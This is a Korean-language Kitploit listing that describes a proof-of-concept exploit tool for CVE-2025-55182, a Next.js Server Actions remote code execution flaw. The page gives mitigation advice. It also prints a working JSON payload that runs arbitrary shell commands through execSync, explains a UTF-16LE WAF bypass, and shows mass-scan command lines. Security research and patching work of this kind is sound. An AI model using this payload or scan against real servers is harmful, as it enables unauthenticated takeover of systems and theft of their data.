Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-55182 — CVE-2025-55182를 위한 개념 증명(PoC) 연구 도구로, React Server Components 및 Server Actions의 서버 측 객체 주입으로 인해 발생하는 Next.js App Router의 치명적인 인증되지 않은 RCE 취약점과 UTF-16LE WAF 우회 기법을 포함합니다. | Kitploit
도구/GitHubGitHub/ceh-aditya-raj/cve-2025-55182
Vulnerability AnalysisExploitationWeb Application ExploitationWAF BypassPenetration TestingLearning & EducationRed TeamingPayload Development
GitHubceh-aditya-raj/cve-2025-55182

CVE-2025-55182

CVE-2025-55182를 위한 개념 증명(PoC) 연구 도구로, React Server Components 및 Server Actions의 서버 측 객체 주입으로 인해 발생하는 Next.js App Router의 치명적인 인증되지 않은 RCE 취약점과 UTF-16LE WAF 우회 기법을 포함합니다.

저장소 보기
28개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🚨 NextRce — CVE-2025-55182 (Next.js / React 서버 컴포넌트 RCE)

NextRce는 CVE-2025-55182를 시연하는 보안 연구 도구로, React Server Components (RSC) 및 Server Actions을 사용하는 Next.js App Router 애플리케이션의 치명적인 취약점입니다.

이 취약점을 통해 공격자는 Next.js가 Server Action 응답을 처리하고 서버에서 직렬화된 RSC 페이로드를 해석하는 방식을 악용하여 **인증되지 않은 원격 코드 실행(RCE)**을 달성할 수 있습니다.


🛠 취약점 개요

CVE-2025-55182는 Next.js App Router 아키텍처에 존재하며, multipart/form-data 요청 처리 중 발생하는 서버 측 객체 주입 / 프로토타입 체인 남용 문제로 분류될 수 있습니다.

Server Action이 트리거되면 Next.js 서버는 구조화된 클라이언트 입력을 신뢰하고 역직렬화합니다. 특별히 조작된 페이로드를 전송함으로써 공격자는 내부 해석 로직을 조작하고 Node.js 런타임에서 임의의 시스템 명령을 실행할 수 있습니다.


📌 근본 원인

이 취약점은 다음과 같은 결합 요인으로 인해 발생합니다:

  • Server Actions 신뢰 모델
    Server Actions는 내부 React Server Component 해석 로직을 통해 처리되는 구조화된 클라이언트 페이로드를 수용하지만, 검증이 충분하지 않습니다.

  • RSC 해석 중 객체 주입
    조작된 페이로드는 JavaScript 프로토타입 체인과 생성자 참조를 악용하여 의도된 객체 범위를 벗어날 수 있습니다.

  • 불충분한 검증
    then, _response, form-data getter와 같은 내부 필드가 악의적인 조작으로부터 적절히 보호되지 않습니다.

  • 인코딩 기반 WAF 우회
    많은 웹 애플리케이션 방화벽(WAF)이 UTF-8 또는 표준 JSON에 초점을 맞춥니다. 페이로드를 UTF-16LE로 인코딩하면 Next.js 서버에서 올바르게 디코딩되면서도 검사를 우회할 수 있습니다.


🔬 페이로드 분석

익스플로잇은 멀티파트 요청 내에 조작된 RSC 페이로드를 주입하는 데 의존합니다.
아래는 페이로드의 단순화된 버전입니다:

root@kitploit:~
{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('{cmd}').toString('base64'); throw Object.assign(new Error('x'),{digest: res});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

🧠 익스플로잇 분석

1. 프로토타입 체인 하이재킹

  • "then": "$1:__proto__:then"
  • 이는 then 속성을 재정의하여 JavaScript의 프로토타입 체인을 남용하며, Next.js 런타임에서 React Server Component 처리 중 Promise가 해석되는 방식을 방해합니다.

2. 생성자 이스케이프

  • "_formData": { "get": "$1:constructor:constructor" }
  • 이를 통해 전역 Function 생성자에 접근할 수 있으며, 의도된 샌드박스 외부에서 임의의 JavaScript를 실행할 수 있습니다.

3. 원격 코드 실행

  • process.mainModule.require('child_process').execSync('{cmd}')
  • Node.js 내부 모듈에 접근
  • 임의의 운영체제 명령을 동기적으로 실행
  • Next.js 서버 프로세스와 동일한 권한으로 실행

4. 다이제스트 기반 출력 탈취

  • throw Object.assign(new Error('x'), { digest: res });
  • Next.js는 다이제스트 필드가 없으면 상세 오류 메시지를 억제합니다.
  • Base64로 인코딩된 명령 출력을 다이제스트 속성에 첨부함으로써 서버는 의도치 않게 HTTP 응답에 실행 결과를 반환합니다.

5. WAF 우회 (UTF-16LE)

  • 페이로드는 UTF-16LE로 인코딩되어 다음과 같이 전송될 수 있습니다:
  • Content-Type: text/plain; charset=utf-16le
  • 많은 WAF 엔진이 UTF-16LE 콘텐츠를 디코딩하고 검사하지 못하는 반면, Next.js 서버는 올바르게 디코딩하고 처리하므로 익스플로잇 신뢰도가 높아집니다.

💥 영향

CVE-2025-55182를 성공적으로 악용할 경우 다음과 같은 결과가 발생할 수 있습니다:

  • 🔥 완전한 원격 코드 실행

  • 🗄️ 민감한 데이터 및 자격 증명 접근

  • 🔗 인프라 내 측면 이동

  • 📦 공급망 손상

  • 🚨 완전한 서버 장악

  • 심각도: 치명적

  • 인증 필요: 아니오

🛡 완화 방법

CVE-2025-55182로부터 보호하려면:

  • 즉시 패치된 버전으로 Next.js 업그레이드
  • 사용하지 않는 Server Actions 비활성화
  • multipart/form-data 요청의 엄격한 검증 적용
  • UTF-16LE 인코딩 페이로드를 탐지하는 WAF 규칙 추가
  • 비정상적인 Next-Action 헤더 및 요청 패턴 모니터링

🚀 사용법

단일 대상

  • python3 exploit.py -u https://target.com -c "whoami"

WAF 우회를 통한 대량 스캔

  • python3 exploit.py -l urls.txt -B -t 50

⚠️ 면책 조항

  • 이 프로젝트는 교육, 연구 및 승인된 보안 테스트 목적으로만 제공됩니다.

  • 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 이 도구를 사용하지 마십시오.

  • 저자는 오용에 대한 책임을 지지 않습니다.

도구 다운로드